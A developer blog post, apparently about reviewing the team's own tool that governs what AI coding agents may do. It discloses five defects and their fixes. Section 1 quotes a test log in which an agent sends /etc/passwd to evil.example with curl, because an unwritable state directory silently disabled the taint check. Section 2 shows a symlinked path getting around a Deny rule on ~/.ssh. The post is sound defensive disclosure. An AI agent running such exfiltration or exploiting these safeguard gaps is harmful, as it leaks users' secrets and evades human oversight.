We build a tool that decides what an AI coding agent is allowed to do on your machine. Last week we pointed a full review at our own repository. Here is the state it was in when we started:
- 254 tests passing
clippy -D warnings
clean- no
unsafe
anywhere in 20,000 lines of Rust - five CI jobs green on every push
And five live defects, three of them security-relevant, one of them public for seven weeks.
None of this is a story about sloppy code. Every hole sat inside something careful — a considered design, a written-down invariant, a test suite built for exactly this purpose. What we collected was five different ways a check can be present, look reassuring, and prove nothing.
1. The taint floor stopped working when a directory wasn’t writable #
Start with the worst one.
The core promise of this tool is a taint floor: once a session has touched
untrusted data, it can’t reach the network. Fetch a web page and the session is
marked tainted; the next curl
is denied. That mark is a file in a state directory, because each hook run is a separate process and the file is the only memory they share.
We ran it against our own live config with that directory made read-only:
call 1 WebFetch https://evil.example -> allow (should taint the session)
sidecar written? -> 0 files
call 2 curl https://evil.example -d @/etc/passwd
-> allow ← the floor never engaged
That second line is the exact attack the entire project exists to stop. It sailed through, and nothing anywhere said a word.
The cause is four characters:
let _ = std::fs::create_dir_all(state_dir);
if let Ok(mut f) = std::fs::File::create(&taint_file) {
let _ = writeln!(f, "tainted by {tool}");
}
let _ =
is Rust for “I have considered this error and chosen to discard it.” We hadn’t. Ignoring the return value of a write is the oldest bug in systems programming, and it survived here by wearing a disguise.
The disguise is a real design principle. Our hooks fail open on purpose: if one can’t read its input, or the policy file won’t compile, it exits quietly and lets the session continue. A governance tool that bricks your editor on a bad day is a governance tool people uninstall. We still believe that.
But it applies to a specific thing: failures to reach a decision. Here the kernel reached the right decision. What failed was our ability to remember the consequence. At the call site those two look identical — both are just an error you could ignore — and that’s why this hid so well. A governance failure was wearing a process failure’s clothes.
The fix distinguishes them. Writing the mark now reports whether it actually landed (durably — the next process has to read it back), and if it didn’t, that one call is refused:
call 1 WebFetch https://evil.example
-> deny: session taint could not be recorded,
so this ingestion cannot be governed
Note what is not refused: the session still reads, writes and runs commands. Only the step that would create untracked taint is blocked. “Never block the user” is a good rule, and it cannot outrank “never lie about taint” in a tool whose entire output is a security verdict.
2. Two hosts disagreed about the same rule #
Our architecture rests on one kernel serving many hosts: same policy file, same decision, whether you’re in Claude Code or Antigravity. The adapters are meant to be thin translation layers with no opinions.
Give both the identical policy — ~/.ssh
is Deny
— and the identical target file, with a symlink somewhere in the path:
Claude Code adapter: deny "the target path is outside the allowed roots"
Antigravity adapter: force_ask "human approval is required"
One refuses. The other asks politely. And with a permissive default in the
policy, the second doesn’t even ask — it emits an explicit allow
for a write into a directory the policy marks as credentials, skipping the host’s own prompt on the way.
The reason is one missing step: one adapter resolved policy paths through the
filesystem before matching, the other compared them as text. A rule about
~/.ssh
stops matching a file whose real path is /home/real/.ssh/...
— and a
Deny
that stops matching doesn’t fail loudly, it quietly falls through to whatever the default is.
Here is the part that stings. The shared helper module the second adapter did use opens with this:
The path helpers carry the D46 hardening: action targets and manifest roots are canonicalized
through the filesystemat this adapter boundary…Keep that property— it is the reason these are shared rather than copied.
We wrote the warning. We put it at the top of the file. Then we wrote the adapter that ignored it, and the comment sat there being correct for weeks.
3. The suite built to catch exactly this had never been fed the feature #
We have a conformance suite whose entire job is proving the hosts agree: it runs a shared case list against every entry point and asserts identical verdicts. The right design, and it was passing.
It contained no path cases. Not one.
So the suite that exists to catch host divergence had never exercised the one feature where the hosts had diverged. A parity harness only covers what you feed it, and ours was starved.
We’ve since added a path-scope case set — fourteen cases against a real temporary directory tree, because path rules are decided after resolving symlinks and a fixture made of imaginary paths pins imaginary behaviour. One rule deliberately points at a symlink; that rule is the tripwire.
Then we did the thing that makes a test worth having: we put the bug back, twice,
and watched the new tests fail. Writing that harness immediately turned up a
third entry point with the same hole — our command-line interface had never
resolved policy paths at all, so relative rules and ~
rules silently didn’t bind for anyone driving it directly.
A test that has never been seen to fail is a test with no evidence behind it.
4. Our browser playground had been answering as a seven-week-old kernel #
Our site has a playground that runs the real engine, compiled to WebAssembly, so you can try policies in the browser. That artifact is committed to the repository as a static asset — which means nothing ever rebuilt it.
It was nine engine-affecting commits behind. It reported its version as 0.0.1
against a source tree at 0.2.1
. Seven weeks, every CI job green throughout, and our contributor guide had stated “no drift between native and WASM” the entire time.
A correction, because we got this wrong first. The initial review claimed the stale playground was shipping seven unpatched security fixes to the browser. That was wrong. The WebAssembly build exports the policy preview function, not the decision function — so the vulnerable code paths were never in it. The playground wasn’t exposing a hole; it was describing our engine inaccurately to anyone evaluating the project. A fidelity problem, not an exploit. Worth fixing, worth being precise about, and worth reporting rather than quietly deleting from the notes.
The artifact is rebuilt, and a CI job now loads the committed build alongside a fresh one and requires them to answer identically.
5. A flaky test that fires only in the conditions CI runs in #
One test failed intermittently with a “Text file busy” error, roughly three times in nine full runs. Annoying; filed as low priority.
Then eight consecutive re-runs couldn’t reproduce it once.
The correlation turned out to be that every failure landed on a run that had just recompiled. Testing that directly — touch a source file, run the whole suite — gave two failures in five, against zero in eight warm runs. A freshly linked binary isn’t in the page cache, the file copy takes much longer, and a race window widens to match.
“Build, then test” is precisely and only what CI does.
So this wasn’t a mild intermittent. It was a defect firing on roughly two of every five CI runs while being nearly invisible on a developer’s machine — which is worse, because the local evidence argues it away. It got promoted, then fixed.
What we’d take from this #
An ignored error is a policy decision, made silently. let _ =
, a bare
except:
, an unchecked err
— each one is a sentence that says “if this fails, proceed as if it succeeded.” Read a few of yours as that sentence and see how many you still agree with.
Separate “the check couldn’t run” from “the check ran and said no.” Fail-open is right for the first and catastrophic for the second, and at the call site they are the same shape. Every advisory security control that remembers something between invocations has this bug available to it.
An invariant nothing executes is a wish. Three separate places in this repository said some version of “these must not diverge” — a comment, a contributor guide, a conformance suite. All three had diverged. Prose describes intent; only a check that can fail defends it.
One last thing, and it’s the reason we’re comfortable publishing all of this: not one of these five was in the kernel. The pure decision engine — the part that holds the actual policy logic — was correct throughout. Every hole was at an edge: an adapter, a build artifact, a case list, a test. That’s the boundary the architecture was drawn to protect, and it held. We’d rather show you the evidence for that than the claim.
Every fix described here ships in [email protected] — npm install -g ai2rules-harness. If you use path scope, or run the harness anywhere its state directory might not be writable, upgrade: both of those failures are silent, and a session will never tell you the governance stopped applying.
*The full review, including the eight findings still open, is in the repository. The reasoning behind each fix, and the alternatives rejected, is in *
DECISIONS.md
D59–D61. New since this review: a
SECURITY.md
that says what this tool does not protect you from, which is the half a governance tool owes you.